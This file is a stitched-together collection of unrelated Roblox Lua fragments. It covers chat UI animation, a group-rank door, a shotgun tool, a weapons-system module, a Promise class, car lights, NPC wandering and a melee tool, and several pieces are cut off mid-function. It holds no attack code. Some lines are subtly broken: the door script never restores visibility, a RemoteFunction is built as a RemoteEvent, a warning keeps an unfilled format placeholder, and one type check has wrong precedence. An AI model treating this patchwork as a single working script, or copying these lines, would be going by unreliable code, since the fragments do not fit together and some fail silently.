self.Active = active self.UnselectedFrame.Visible = not active self.SelectedFrame.Visible = active if (active) then self.UnreadMessageCount = 0 self.NewMessageIcon.Visible = false self.NameTag.Font = Enum.Font.SourceSansBold else self.NameTag.Font = Enum.Font.SourceSans end end function methods:SetTextSize(textSize) self.NameTag.TextSize = textSize end function methods:FadeOutBackground(duration) self.AnimParams.Background_TargetTransparency = 1 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:FadeInBackground(duration) self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:FadeOutText(duration) self.AnimParams.Text_TargetTransparency = 1 self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) self.AnimParams.TextStroke_TargetTransparency = 1 self.AnimParams.TextStroke_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:FadeInText(duration) self.AnimParams.Text_TargetTransparency = 0 self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) self.AnimParams.TextStroke_TargetTransparency = 0.75 self.AnimParams.TextStroke_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:AnimGuiObjects() self.UnselectedFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency self.SelectedFrame.BackgroundImage.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency self.SelectedFrame.BlueBarLeft.ImageTransparency = self.AnimParams.Background_CurrentTransparency self.SelectedFrame.BlueBarRight.ImageTransparency = self.AnimParams.Background_CurrentTransparency self.NameTagNonSelect.TextTransparency = self.AnimParams.Background_CurrentTransparency self.NameTagNonSelect.TextStrokeTransparency = self.AnimParams.Background_CurrentTransparency self.NameTag.TextTransparency = self.AnimParams.Text_CurrentTransparency self.NewMessageIcon.ImageTransparency = self.AnimParams.Text_CurrentTransparency self.WhiteTextNewMessageNotification.TextTransparency = self.AnimParams.Text_CurrentTransparency self.NameTagSelect.TextTransparency = self.AnimParams.Text_CurrentTransparency self.NameTag.TextStrokeTransparency = self.AnimParams.TextStroke_CurrentTransparency self.WhiteTextNewMessageNotification.TextStrokeTransparency = self.AnimParams.TextStroke_CurrentTransparency self.NameTagSelect.TextStrokeTransparency = self.AnimParams.TextStroke_CurrentTransparency end function methods:InitializeAnimParams() self.AnimParams.Text_TargetTransparency = 0 self.AnimParams.Text_CurrentTransparency = 0 self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(0) self.AnimParams.TextStroke_TargetTransparency = 0.75 self.AnimParams.TextStroke_CurrentTransparency = 0.75 self.AnimParams.TextStroke_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(0) self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_CurrentTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(0) end function methods:Update(dtScale) self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt( self.AnimParams.Background_CurrentTransparency, self.AnimParams.Background_TargetTransparency, self.AnimParams.Background_NormalizedExptValue, dtScale ) self.AnimParams.Text_CurrentTransparency = CurveUtil:Expt( self.AnimParams.Text_CurrentTransparency, self.AnimParams.Text_TargetTransparency, self.AnimParams.Text_NormalizedExptValue, dtScale ) self.AnimParams.TextStroke_CurrentTransparency = CurveUtil:Expt( self.AnimParams.TextStroke_CurrentTransparency, self.AnimParams.TextStroke_TargetTransparency, self.AnimParams.TextStroke_NormalizedExptValue, dtScale ) self:AnimGuiObjects() end
----------------------------------------
local Ghost = script.Parent local Player = game.Players:GetPlayerFromCharacter(script.Parent.Parent) local Character = Player.Character local Humanoid = Character.Humanoid local Alive = true
--[[ INSTRUCTIONS ARE BELOW. Look in the Configuration, there are 2 IntValues, 1 is GroupId and the other is RankId. The rank Id is the numbers that you set the rank to in your group, the numbers are (1-255), it will not only just work for that rank level, it will work for the rank and ABOVE. The GroupId is the numbers at the end of your group's URL.Copy those numbers and but it in the Value section for GroupId. Now You have finished the set up for the group door! WARNING : DONT TOUCH ANYTHING DOWN THERE... ]]
local config = script.Parent.Configuration script.Parent.Touched:connect(function(part) if part.Parent and Game:GetService('Players'):GetPlayerFromCharacter(part.Parent) then local player = Game:GetService('Players'):GetPlayerFromCharacter(part.Parent) if player:GetRankInGroup(config.GroupId.Value) >= config.RankId.Value then script.Parent.Transparency = 1 script.Parent.CanCollide = false wait(2) script.Parent.Transparency = 1 script.Parent.CanCollide = true end end end)
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
function RayCast(startPos, vec, rayLength) local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle) if hitObject and hitPos then local distance = rayLength - (hitPos - startPos).magnitude if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then -- there is a chance here for potential infinite recursion return RayCast(hitPos, vec, distance) end end return hitObject, hitPos end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new("ObjectValue") creatorTag.Value = player creatorTag.Name = "creator" creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new("StringValue") weaponIconTag.Value = IconURL weaponIconTag.Name = "icon" weaponIconTag.Parent = creatorTag end local function CreateBullet(bulletPos) local bullet = Instance.new('Part', Workspace) bullet.FormFactor = Enum.FormFactor.Custom bullet.Size = Vector3.new(0.1, 0.1, 0.1) bullet.BrickColor = BrickColor.new("Black") bullet.Shape = Enum.PartType.Block bullet.CanCollide = false bullet.CFrame = CFrame.new(bulletPos) bullet.Anchored = true bullet.TopSurface = Enum.SurfaceType.Smooth bullet.BottomSurface = Enum.SurfaceType.Smooth bullet.Name = 'Bullet' DebrisService:AddItem(bullet, 2.5) return bullet end local function Reload() if not Reloading then Reloading = true -- Don't reload if you are already full or have no extra ammo if AmmoInClip ~= ClipSize and SpareAmmo > 0 then if RecoilTrack then RecoilTrack:Stop() end if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = true end end script.Parent.Handle.Reload:Play() wait(.75) script.Parent.Handle.Reload:Play() wait(.75) script.Parent.Handle.Reload:Play() wait(.75) script.Parent.Handle.Reload:Play() wait(.75) script.Parent.Handle.PumpSound:Play() -- Only use as much ammo as you have local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo) AmmoInClip = AmmoInClip + ammoToUse SpareAmmo = SpareAmmo - ammoToUse UpdateAmmo(AmmoInClip) WeaponGui.Reload.Visible = false end Reloading = false end end function OnFire() if IsShooting then return end if MyHumanoid and MyHumanoid.Health > 0 then if RecoilTrack and AmmoInClip > 0 then RecoilTrack:Play() end IsShooting = true while LeftButtonDown and AmmoInClip > 0 and not Reloading do if Spread and not DecreasedAimLastShot then Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount) UpdateCrosshair(Spread) end DecreasedAimLastShot = not DecreasedAimLastShot if Handle:FindFirstChild('FireSound') then Handle.FireSound:Play() Handle.Flash.Enabled = true end if MyMouse then for i = 1,12 do -- Shotgun effect :P local targetPoint = MyMouse.Hit.p local shootDirection = (targetPoint - Handle.Position).unit -- Adjust the shoot direction randomly off by a little bit to account for recoil shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread) * shootDirection local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range) local bullet -- Create a bullet here if hitObject then bullet = CreateBullet(bulletPos) end if hitObject and hitObject.Parent then local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid") if hitHumanoid then local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent) if MyPlayer.Neutral or hitPlayer then TagHumanoid(hitHumanoid, MyPlayer) hitHumanoid:TakeDamage(Damage) if bullet then bullet:Destroy() bullet = nil --bullet.Transparency = 1 end Spawn(UpdateTargetHit) elseif not hitPlayer then TagHumanoid(hitHumanoid, MyPlayer) hitHumanoid:TakeDamage(Damage) if bullet then bullet:Destroy() bullet = nil --bullet.Transparency = 1 end Spawn(UpdateTargetHit) end end end end AmmoInClip = AmmoInClip - 1 UpdateAmmo(AmmoInClip) end Handle.PumpSound:Play() wait(.2); Handle.Flash.Enabled = false wait(FireRate) OnMouseUp() end IsShooting = false if AmmoInClip == 0 then Handle.Tick:Play() WeaponGui.Reload.Visible = true end if RecoilTrack then RecoilTrack:Stop() end end end local TargetHits = 0 function UpdateTargetHit() TargetHits = TargetHits + 1 if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = true end wait(0.5) TargetHits = TargetHits - 1 if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = false end end function UpdateCrosshair(value, mouse) if WeaponGui then local absoluteY = 650 WeaponGui.Crosshair:TweenSize( UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.33) end end function UpdateAmmo(value) if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = false end end if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo end end function OnMouseDown() LeftButtonDown = true OnFire() end function OnMouseUp() LeftButtonDown = false end function OnKeyDown(key) if string.lower(key) == 'r' then Reload() end end function OnEquipped(mouse) Handle.EquipSound:Play() RecoilAnim = WaitForChild(Tool, 'Recoil') FireSound = WaitForChild(Handle, 'FireSound') MyCharacter = Tool.Parent MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter) MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyTorso = MyCharacter:FindFirstChild('Torso') MyMouse = mouse WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone() if WeaponGui and MyPlayer then WeaponGui.Parent = MyPlayer.PlayerGui UpdateAmmo(AmmoInClip) end if RecoilAnim then RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim) end if MyMouse then -- Disable mouse icon MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154" MyMouse.Button1Down:connect(OnMouseDown) MyMouse.Button1Up:connect(OnMouseUp) MyMouse.KeyDown:connect(OnKeyDown) end end
-- Handle event fire
local function toggleDoor(player, door) local motor if door == "freezer" then motor = freezerMotor elseif door == "door" then motor = doorMotor else return end -- Check distance to the character's Torso. If too far, don't do anything if player.Character and player.Character:FindFirstChild("Torso") then local torso = player.Character:FindFirstChild("Torso") local toTorso = torso.Position - fridge.FreezerPadding.Position if toTorso.magnitude < clickDistance then if open then motor.DesiredAngle = 0 open = false else motor.DesiredAngle = math.pi/2 open = true end if door == "freezer" then fridge.FreezerBlock.Smoke.Enabled = open end end end end fridge.DoorPadding.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments) toggleDoor(player, "door") end) fridge.Door.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments) toggleDoor(player, "door") end) fridge.FreezerPadding.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments) toggleDoor(player, "freezer") end) fridge.FreezerDoor.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments) toggleDoor(player, "freezer") end)
--Set up WeaponTypes lookup table
do local function onNewWeaponType(weaponTypeModule) if not weaponTypeModule:IsA("ModuleScript") then return end local weaponTypeName = weaponTypeModule.Name xpcall(function() coroutine.wrap(function() local weaponType = require(weaponTypeModule) assert(typeof(weaponType) == "table", string.format("WeaponType \"%s\" did not return a valid table", weaponTypeModule:GetFullName())) WEAPON_TYPES_LOOKUP[weaponTypeName] = weaponType end)() end, function(errMsg) warn(string.format("Error while loading %s: %s", weaponTypeModule:GetFullName(), errMsg)) warn(debug.traceback()) end) end for _, child in pairs(WeaponTypes:GetChildren()) do onNewWeaponType(child) end WeaponTypes.ChildAdded:Connect(onNewWeaponType) end local WeaponsSystem = {} WeaponsSystem.didSetup = false WeaponsSystem.knownWeapons = {} WeaponsSystem.connections = {} WeaponsSystem.networkFolder = nil WeaponsSystem.remoteEvents = {} WeaponsSystem.remoteFunctions = {} WeaponsSystem.currentWeapon = nil WeaponsSystem.aimRayCallback = nil WeaponsSystem.CurrentWeaponChanged = Instance.new("BindableEvent") local NetworkingCallbacks = require(WeaponsSystemFolder:WaitForChild("NetworkingCallbacks")) NetworkingCallbacks.WeaponsSystem = WeaponsSystem local _damageCallback = nil local _getTeamCallback = nil function WeaponsSystem.setDamageCallback(cb) _damageCallback = cb end function WeaponsSystem.setGetTeamCallback(cb) _getTeamCallback = cb end function WeaponsSystem.setup() if WeaponsSystem.didSetup then warn("Warning: trying to run WeaponsSystem setup twice on the same module.") return end print(script.Parent:GetFullName(), "is now active.") WeaponsSystem.doingSetup = true --Setup network routing if IsServer then local networkFolder = Instance.new("Folder") networkFolder.Name = "Network" for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do local remoteEvent = Instance.new("RemoteEvent") remoteEvent.Name = remoteEventName remoteEvent.Parent = networkFolder local callback = NetworkingCallbacks[remoteEventName] if not callback then --Connect a no-op function to ensure the queue doesn't pile up. warn("There is no server callback implemented for the WeaponsSystem RemoteEvent \"%s\"!") warn("A default no-op function will be implemented so that the queue cannot be abused.") callback = function() end end WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnServerEvent:Connect(function(...) callback(...) end) WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent end for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do local remoteFunc = Instance.new("RemoteEvent") remoteFunc.Name = remoteFuncName remoteFunc.Parent = networkFolder local callback = NetworkingCallbacks[remoteFuncName] if not callback then --Connect a no-op function to ensure the queue doesn't pile up. warn("There is no server callback implemented for the WeaponsSystem RemoteFunction \"%s\"!") warn("A default no-op function will be implemented so that the queue cannot be abused.") callback = function() end end remoteFunc.OnServerInvoke = function(...) return callback(...) end WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc end networkFolder.Parent = WeaponsSystemFolder WeaponsSystem.networkFolder = networkFolder else WeaponsSystem.StarterGui = game:GetService("StarterGui") WeaponsSystem.camera = ShoulderCamera.new(WeaponsSystem) WeaponsSystem.gui = WeaponsGui.new(WeaponsSystem) if ConfigurationValues.SprintEnabled.Value then WeaponsSystem.camera:setSprintEnabled(ConfigurationValues.SprintEnabled.Value) end if ConfigurationValues.SlowZoomWalkEnabled.Value then WeaponsSystem.camera:setSlowZoomWalkEnabled(ConfigurationValues.SlowZoomWalkEnabled.Value) end local networkFolder = WeaponsSystemFolder:WaitForChild("Network", math.huge) for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do coroutine.wrap(function() local remoteEvent = networkFolder:WaitForChild(remoteEventName, math.huge) local callback = NetworkingCallbacks[remoteEventName] if callback then WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnClientEvent:Connect(function(...) callback(...) end) end WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent end)() end for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do coroutine.wrap(function() local remoteFunc = networkFolder:WaitForChild(remoteFuncName, math.huge) local callback = NetworkingCallbacks[remoteFuncName] if callback then remoteFunc.OnClientInvoke = function(...) return callback(...) end end WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc end)() end Players.LocalPlayer.CharacterAdded:Connect(WeaponsSystem.onCharacterAdded) if Players.LocalPlayer.Character then WeaponsSystem.onCharacterAdded(Players.LocalPlayer.Character) end WeaponsSystem.networkFolder = networkFolder --WeaponsSystem.camera:setEnabled(true) end --Setup weapon tools and listening WeaponsSystem.connections.weaponAdded = CollectionService:GetInstanceAddedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponAdded) WeaponsSystem.connections.weaponRemoved = CollectionService:GetInstanceRemovedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponRemoved) for _, instance in pairs(CollectionService:GetTagged(WEAPON_TAG)) do WeaponsSystem.onWeaponAdded(instance) end WeaponsSystem.doingSetup = false WeaponsSystem.didSetup = true end function WeaponsSystem.onCharacterAdded(character) -- Make it so players unequip weapons while seated, then reequip weapons when they become unseated local humanoid = character:WaitForChild("Humanoid") WeaponsSystem.connections.seated = humanoid.Seated:Connect(function(isSeated) if isSeated then WeaponsSystem.seatedWeapon = character:FindFirstChildOfClass("Tool") humanoid:UnequipTools() WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false) else WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) humanoid:EquipTool(WeaponsSystem.seatedWeapon) end end) end function WeaponsSystem.shutdown() if not WeaponsSystem.didSetup then return end for _, weapon in pairs(WeaponsSystem.knownWeapons) do weapon:onDestroyed() end WeaponsSystem.knownWeapons = {} if IsServer and WeaponsSystem.networkFolder then WeaponsSystem.networkFolder:Destroy() end WeaponsSystem.networkFolder = nil WeaponsSystem.remoteEvents = {} WeaponsSystem.remoteFunctions = {} for _, connection in pairs(WeaponsSystem.connections) do if typeof(connection) == "RBXScriptConnection" then connection:Disconnect() end end WeaponsSystem.connections = {} end function WeaponsSystem.getWeaponTypeFromTags(instance) for _, tag in pairs(CollectionService:GetTags(instance)) do local weaponTypeFound = WEAPON_TYPES_LOOKUP[tag] if weaponTypeFound then return weaponTypeFound end end return nil end function WeaponsSystem.createWeaponForInstance(weaponInstance) coroutine.wrap(function() local weaponType = WeaponsSystem.getWeaponTypeFromTags(weaponInstance) if not weaponType then local weaponTypeObj = weaponInstance:WaitForChild("WeaponType") if weaponTypeObj and weaponTypeObj:IsA("StringValue") then local weaponTypeName = weaponTypeObj.Value local weaponTypeFound = WEAPON_TYPES_LOOKUP[weaponTypeName] if not weaponTypeFound then warn(string.format("Cannot find the weapon type \"%s\" for the instance %s!", weaponTypeName, weaponInstance:GetFullName())) return end weaponType = weaponTypeFound else warn("Could not find a WeaponType tag or StringValue for the instance ", weaponInstance:GetFullName()) return end end -- Since we might have yielded while trying to get the WeaponType, we need to make sure not to continue -- making a new weapon if something else beat this iteration. if WeaponsSystem.getWeaponForInstance(weaponInstance) then warn("Already got ", weaponInstance:GetFullName()) warn(debug.traceback()) return end -- We should be pretty sure we got a valid weaponType by now assert(weaponType, "Got invalid weaponType") local weapon = weaponType.new(WeaponsSystem, weaponInstance) WeaponsSystem.knownWeapons[weaponInstance] = weapon end)() end function WeaponsSystem.getWeaponForInstance(weaponInstance) if not typeof(weaponInstance) == "Instance" then warn("WeaponsSystem.getWeaponForInstance(weaponInstance): 'weaponInstance' was not an instance.") return nil end return WeaponsSystem.knownWeapons[weaponInstance] end
-- you can mess with these settings
local easingtime = 0.1 --0~1 local walkspeeds = { enabled = true; walkingspeed = 10; backwardsspeed = 6; sidewaysspeed = 8; diagonalspeed = 9; runningspeed = 14; runningFOV= 80; }
--[=[ Rejects the promise with the values given @param ... T -- Params to reject with ]=]
function Promise:Reject(...) self:_reject({...}, select("#", ...)) end function Promise:_reject(values, valuesLength) if not self._pendingExecuteList then return end self._rejected = values self._valuesLength = valuesLength local list = self._pendingExecuteList self._pendingExecuteList = nil for _, data in pairs(list) do self:_executeThen(unpack(data)) end -- Check for uncaught exceptions if self._unconsumedException and self._valuesLength > 0 then task.defer(function() -- Yield to end of frame, giving control back to Roblox. -- This is the equivalent of giving something back to a task manager. if self._unconsumedException then local errOutput = self:_toHumanReadable(self._rejected[1]) if ENABLE_TRACEBACK then warn(("[Promise] - Uncaught exception in promise\n\n%q\n\n%s") :format(errOutput, self._source)) else warn(("[Promise] - Uncaught exception in promise: %q") :format(errOutput)) end end end) end end function Promise:_toHumanReadable(data) if type(data) == "table" then local errOutput local ok = pcall(function() errOutput = HttpService:JSONEncode(data) end) if not ok then errOutput = tostring(data) end return errOutput else return tostring(data) end end
---------------------------------------------------------------------------------------------------- --------------------=[ CFRAME ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableHolster = true ,HolsterTo = 'UpperTorso' -- Put the name of the body part you wanna holster to ,HolsterPos = CFrame.new(0.4,-0.4,-0.6) * CFrame.Angles(math.rad(90),math.rad(120),math.rad(-90))-- x, y, and z | Up, left right, and rotate, only change the middle value of CFrame.Angles to change where gun is pointed ,RightArmPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server ,LeftArmPos = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25)) --server ,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) ,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) ,RightPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client ,LeftPos = CFrame.new(0.85, 0.5,-2.2) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25)) --Client } return Config
--[[ SCRIPT VARIABLES ]]
local CHAT_BUBBLE_FONT = Enum.Font.GothamSemibold local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10 local CHAT_BUBBLE_TAIL_HEIGHT = 14 local CHAT_BUBBLE_WIDTH_PADDING = 30 local CHAT_BUBBLE_FADE_SPEED = 1.5 local BILLBOARD_MAX_WIDTH = 400 local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters local ELIPSES = "..." local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses. local MaxChatMessageLengthExclusive if FFlagUserChatNewMessageLengthCheck2 then MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1 else MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1 end local NEAR_BUBBLE_DISTANCE = 65 --previously 45 local MAX_BUBBLE_DISTANCE = 100 --previously 80
-- Module 4
function NpcModule.CalculeWalk(NPC, Range, MinVector, MaxVector, Minrange) local MinRange = 0 if Minrange == nil then MinRange = 1.7 else MinRange = Minrange end -- Calcules local X = math.random(-(Range), Range) local Z = math.random(-(Range), Range) if X < (Range/MinRange) and X >= 0 then X = Range/MinRange elseif X > (-Range/MinRange) and X < 0 then X = -Range/MinRange end if Z < (Range/MinRange) and Z >= 0 then Z = Range/MinRange elseif Z > (-Range/MinRange) and Z < 0 then Z = -Range/MinRange end X = NPC.PrimaryPart.Position.X + X Z = NPC.PrimaryPart.Position.Z + Z if MinVector ~= nil or MaxVector ~= nil then if X < MinVector.X then X = MinVector.X elseif X > MaxVector.X then X = MaxVector.X end if Z < MinVector.Z then Z = MinVector.Z elseif Z > MaxVector.Z then Z = MaxVector.Z end end local Pos = Vector3.new(X, NpcModule.RayY(X,Z,NPC) , Z) return Pos end
-- Testing AC FE support
local event = script.Parent local car=script.Parent.Parent local LichtNum = 0 event.OnServerEvent:connect(function(player,data) if data['ToggleLight'] then if car.Body.Light.on.Value==true then car.Body.Light.on.Value=false else car.Body.Light.on.Value=true end elseif data['EnableBrakes'] then car.Body.Brakes.on.Value=true elseif data['DisableBrakes'] then car.Body.Brakes.on.Value=false elseif data['ToggleLeftBlink'] then if car.Body.Left.on.Value==true or car.Body.Right.on.Value==true then car.Body.Left.on.Value=false car.Body.Right.on.Value=false else car.Body.Left.on.Value=true end elseif data['ToggleRightBlink'] then if car.Body.Right.on.Value==true or car.Body.Left.on.Value==true then car.Body.Right.on.Value=false car.Body.Left.on.Value=false else car.Body.Right.on.Value=true end elseif data['ReverseOn'] then car.Body.Reverse.on.Value=true elseif data['ReverseOff'] then car.Body.Reverse.on.Value=false elseif data['ToggleStandlicht'] then if LichtNum == 0 then LichtNum = 1 car.Body.Headlight.on.Value = true elseif LichtNum == 1 then LichtNum = 0 car.Body.Headlight.on.Value = false end elseif data["ToggleHazards"] then if car.Body.Left.on.Value == true or car.Body.Right.on.Value==true then car.Body.Left.on.Value=false car.Body.Right.on.Value=false else car.Body.Left.on.Value=true car.Body.Right.on.Value=true end end end)
-- If an expire time was provided, this message is displayed. -- %TIME% is replaced with a string such as "23 hours, 30 minutes"
local MESSAGE_BAN = "You are banned for %TIME%."
-- Local variables
local tool = script.Parent local muzzle = tool.Muzzle local currentAmmo -- current ammo amount in clip local ammoLeft -- how much ammo you have left besides what's in your current clip local remainingAmmo -- used during reloading to keep track of ammo in old clip local canFire = true local reloading = false local fireSound = muzzle.FireSound local player = players:GetPlayerFromCharacter(tool.Parent) while not player do tool.AncestryChanged:wait() player = players:GetPlayerFromCharacter(tool.Parent) end local equipped = false repeat wait() until player.Character
--Weld stuff here
car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end) MakeWeld(misc.Wiper.Hinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Wiper.Parts,misc.Wiper.Hinge) MakeWeld(misc.Wiper2.Hinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Wiper2.Parts,misc.Wiper2.Hinge) MakeWeld(car.Misc.Wheel.A,car.DriveSeat,"Motor",.5).Name="W" ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.A) MakeWeld(car.Misc.Tach.M,car.DriveSeat,"Motor").Name="M" ModelWeld(misc.Tach.Parts,misc.Tach.M) MakeWeld(car.Misc.Speedo.N,car.DriveSeat,"Motor").Name="N" ModelWeld(misc.Speedo.Parts,misc.Speedo.N)
-- [[ Services ]]
local RunService = game:GetService("RunService") local CollectionService = game:GetService("CollectionService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Modules = ReplicatedStorage:WaitForChild("Modules") local Thread = require(Modules.Thread)
-- For all easing functions: -- b = beginning cframe -- g = goal cframe --change == ending - beginning -- t = elapsed time -- d = duration (total time)
--Data
export type SubtitleData = { Time: number?, Duration: number?, Message: string, MessageColor: Color3?, Speaker: string?, SpeakerModifier: string?, SpeakerDisplayName: string?, SpeakerColor: Color3?, Level: string | number?, Macro: string?, } export type SubtitleSpeaker = { Color: Color3?, DisplayName: string?, Modifiers: {[string]: {Color: Color3?, DisplayName: string?}}?, } export type SubtitleDataModule = { Speakers: {[string]: SubtitleSpeaker}, Macros: {[string]: SubtitleData}, Levels: {[string]: number}, }
-- local script inside the tool called Egg
local tool = script.Parent local player = game.Players.LocalPlayer local mouse = player:GetMouse() local function onRightClick() local weapon = game.ServerStorage.Weapon:Clone() weapon.Parent = player.Backpack tool:Destroy() end mouse.Button2Down:Connect(onRightClick)
--use this to determine if you want this human to be harmed or not, returns boolean
function checkTeams(otherHuman) return not (sameTeam(otherHuman) and not FriendlyFire) end function onHandleTouched(part) if not AttackDamaging then return end if part:IsDescendantOf(Tool.Parent) then return end if part.Parent and part.Parent:FindFirstChild("Humanoid") then local human = part.Parent.Humanoid if checkTeams(human) and not contains(AttackVictims, human) then tagHuman(human) table.insert(AttackVictims, human) human:TakeDamage(AttackDamage) end end end function onProjectileTouched(part) if part:IsDescendantOf(Tool.Parent) then return end if part.Parent and part.Parent:FindFirstChild("Humanoid") then local human = part.Parent.Humanoid if checkTeams(human) and not contains(AttackProjectileVictims, human) then tagHuman(human) table.insert(AttackProjectileVictims, human) human:TakeDamage(AttackDamage) end end end function onLeftHold() Remote:FireClient(getPlayer(), "PlayAnimation", "Swing2") delay(0.1, function() Handle.Swing.Pitch = 0.8 Handle.Swing:Play() delay(0.4, function() Handle.Swing.Pitch = 1 Handle.Swing:Play() delay(0.3, function() Handle.Swing.Pitch = 1.2 Handle.Swing:Play() Handle.Shot.Pitch = math.random(90, 110)/100 Handle.Shot:Play() end) end) end) wait(0.8) local root = Tool.Parent:FindFirstChild("HumanoidRootPart") if root then local slash = Instance.new("Part") slash.CanCollide = false slash.FormFactor = "Custom" slash.TopSurface = "Smooth" slash.BottomSurface = "Smooth" slash.BrickColor = BrickColor.new("Lime green") slash.Size = Vector3.new(3, 0.2, 3) slash.CFrame = root.CFrame * CFrame.new(0, 0, -3) * CFrame.Angles(0, 0, math.pi/2) Instance.new("CylinderMesh", slash) local bv = Instance.new("BodyVelocity") bv.maxForce = Vector3.new(1e9, 1e9, 1e9) bv.velocity = root.CFrame.lookVector * AttackProjectileSpeed bv.Parent = slash local spark = Instance.new("Fire") spark.Color = slash.BrickColor.Color spark.SecondaryColor = spark.Color spark.Parent = slash local light = Instance.new("PointLight") light.Range = 16 light.Color = slash.BrickColor.Color 